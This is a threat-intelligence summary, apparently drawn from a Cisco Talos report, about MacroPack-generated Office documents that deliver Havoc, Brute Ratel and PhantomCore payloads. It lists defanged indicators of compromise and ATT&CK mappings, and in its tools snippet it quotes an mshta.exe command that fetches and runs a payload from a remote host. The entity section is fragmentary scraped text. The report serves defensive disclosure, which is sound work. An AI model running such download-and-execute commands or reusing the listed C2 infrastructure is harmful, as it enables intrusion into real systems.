MacroPack-Generated Office Documents Deliver Havoc, Brute Ratel and PhantomCore Payloads
Summary
Cisco Talos analyzed MacroPack-generated Office documents that use obfuscated VBA and varied lures to deliver Havoc, Brute Ratel and PhantomCore payloads. Talos could not attribute the activity to a single actor and says some samples may be red-team exercises.
Key points
- Talos found related malicious Office documents uploaded to VirusTotal from May to July 2024; samples came from several countries and used different lures.
- The documents use obfuscated, multi-stage VBA macros generated by MacroPack, a framework intended for red-team use that Talos assesses is also being used by malicious actors.
- Observed final payloads include Havoc and Brute Ratel implants, as well as a PhantomCore RAT variant.
- Some samples used benign VBA routines and realistic-looking variable names; others used sandbox checks or attempted to download and execute additional payloads.
- Talos could not attribute the activity to one actor, and says some samples were confirmed red-team activity; it reported no affected Talos customers.
- Talos published indicators of compromise and describes Cisco product coverage and Snort SID 63942 for detection and blocking.
Article Details
- Attack Vectors
- Malicious Microsoft Office documents use MacroPack-generated, obfuscated VBA macros to execute multi-stage payloads after users enable macros.
- A Russian-uploaded Excel workbook used a second VBA stage that attempted to download and execute a file from a URL; Talos had no indication this attempt succeeded.
- The NMLS-themed document used multiple VBA stages and checked for analysis environments before attempting to launch a final payload with mshta.exe.
- Defensive Notes
- Keep Microsoft Office up to date; the article notes that users on older versions may remain vulnerable to macros in documents downloaded from the internet.
- Talos recommends using its listed Cisco security products to detect or block associated malicious files, email, network activity, and domains, IPs, or URLs.
- Snort SID 63942 is listed for this threat.
Indicators of compromise
| Type | Indicator | Context |
|---|---|---|
| DOMAIN | api[.]wilbderreis[.]ru | PhantomCore C2 host using the rsocket protocol on port 80. |
| DOMAIN | dns1[.]s-logistics[.]net | Brute Ratel C2 host used for DNS tunneling. |
| DOMAIN | dns2[.]s-logistics[.]net | Brute Ratel C2 host used for DNS tunneling. |
| SHA256 | 0cf1e59bae9dba7fbbf6ee6a36ca6bdb8fa0ac002b8cf824bd0888789a981c57 | Hash of a 64-bit Havoc demon payload. |
| SHA256 | 2131de0cb705afa52f88ef70a87ee6c8662d38db0138efc4940218ee62d8a296 | Hash of a 32-bit Havoc demon payload. |
| SHA256 | 2c0a66c6370b4aa88ab3805d520e868cbc513b43119958257a72c9ff58ef241c | Hash of an NMLS renewal-themed malicious document. |
| SHA256 | 80731db97c33b50cd3d8727decec7e6a12bbf5f671527648c4cbb559fabc3074 | Hash of a PhantomCore RAT payload. |
| SHA256 | 93df1d60edd6b656b08e0fc0d31b330fd275f5e1a9069dfbb769e7ba217fcb6e | Hash of a Brute Ratel loader. |
| SHA256 | b5608e73eb460944d9b523a940d94c95d3eb66d6a8efe82462e2589ccfaadb82 | Hash of a Pakistan military allotment-of-plots lure document. |
| SHA256 | cbafcf65b40d95e4699859a523ef4d300c57f93de6fbc6e194d1b922e9f3aba6 | Hash of a Pakistan Air Force Cyber Team lure document. |
| SHA256 | e1ee389b2af2d3a0eff4aa14f2ac3de6cdd4a73de80b5d450a44ec69cd332dbf | Hash of a malicious Excel workbook. |
MITRE ATT&CK
T1027 · Obfuscated Files or InformationMacroPack-generated VBA uses obfuscated names, encoded strings, and obfuscated payload code.T1055 · Process InjectionA Pakistani military-themed document's macro creates a Brute Ratel shellcode loader in memory and executes it.T1059.005 · Visual BasicThe malicious Office documents use VBA macros to execute staged code.T1105 · Ingress Tool TransferThe Russian workbook's second-stage VBA attempted to download a file from a URL.T1218.005 · MshtaThe NMLS-themed document attempted to launch its final payload using mshta.exe.T1497.001 · System ChecksThe NMLS-themed document's second stage checks system, process, and application characteristics associated with analysis environments before proceeding.
People
Threat Actors
Malware
Vendors
CiscoCisco Talos recently discovered several related Microsoft Office documents uploaded to VirusTotal by various actors between May and July 2024 that were all generated by a version of a payload generator framework calledMicrosoftCisco Talos recently discovered several related Microsoft Office documents uploaded to VirusTotal by various actors between May and July 2024 that were all generated by a version of a payload generator framework called
Products
Adobe Experience Cloudis the inclusion of a base64-encoded blob containing a JSON object created to be used with the Adobe Experience Cloud ecosystem for tracking marketing activities. One possible reason for this is that the documentCisco DuoCisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. Cisco Secure EmailCisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.Cisco Secure EndpointCisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.Cisco Secure FirewallCisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.Cisco Secure Malware AnalyticsCisco Secure Malware Analytics (formerly Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.Cisco Secure Network/Cloud AnalyticsCisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.Cisco Secure Web ApplianceCisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. Microsoft OfficeCisco Talos recently discovered several related Microsoft Office documents uploaded to VirusTotal by various actors between May and July 2024 that were all generated by a version of a payload generator framework calledNMLSto VirusTotal much earlier than the previous examples (March 2023) and it purports to be an encrypted NMLS (U.S. Nationwide Multistate Licensing System & Registry) renewal form. We chose this document lure toSnortOpen-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SIDs for this threat are 63942.UmbrellaUmbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.VirusTotalCisco Talos recently discovered several related Microsoft Office documents uploaded to VirusTotal by various actors between May and July 2024 that were all generated by a version of a payload generator framework called
Tools
Garbleare retrieved from PhantomCore data.Some PhantomCore variants are obfuscated with the Golang obfuscator, garble, which makes them more challenging for the analyst, but the core functionality is similar — to connect toMacroPackThreat actors using MacroPack to deploy Brute Ratel, Havoc and PhantomCore payloadsmshta.exeto be an HTML application as the download and launch was attempted by executing the command line “mshta.exe hxxps[://]share[.]dedesignanddev[.]com:443/datadoc”. At the time of writing, Talos has not been able to
Countries
Chinaanalyzed the most recent documents uploaded to VirusTotal from different sources and countries, including China, Pakistan, Russia and the U.S., uncovering connections between the payloads and motivations for creatingPakistanthe most recent documents uploaded to VirusTotal from different sources and countries, including China, Pakistan, Russia and the U.S., uncovering connections between the payloads and motivations for creating theseRussiarecent documents uploaded to VirusTotal from different sources and countries, including China, Pakistan, Russia and the U.S., uncovering connections between the payloads and motivations for creating these documents.TaiwanThe first cluster of three documents were uploaded to VirusTotal from IP addresses residing in China, Taiwan and Pakistan in May and July 2024, and feature three similar lures with a generic Word document content thatUnited States
Industries
Governmentis attributed by researchers from Kaspersky to the Ukrainian hacktivist Head Mare, allegedly targeting government organizations and companies in Russia with the goal of cyber espionage. Militaryinstruct users to enable VBA macros, to official-looking documents and letters that appear to come from military organizations, pointing to various distinct threat actors.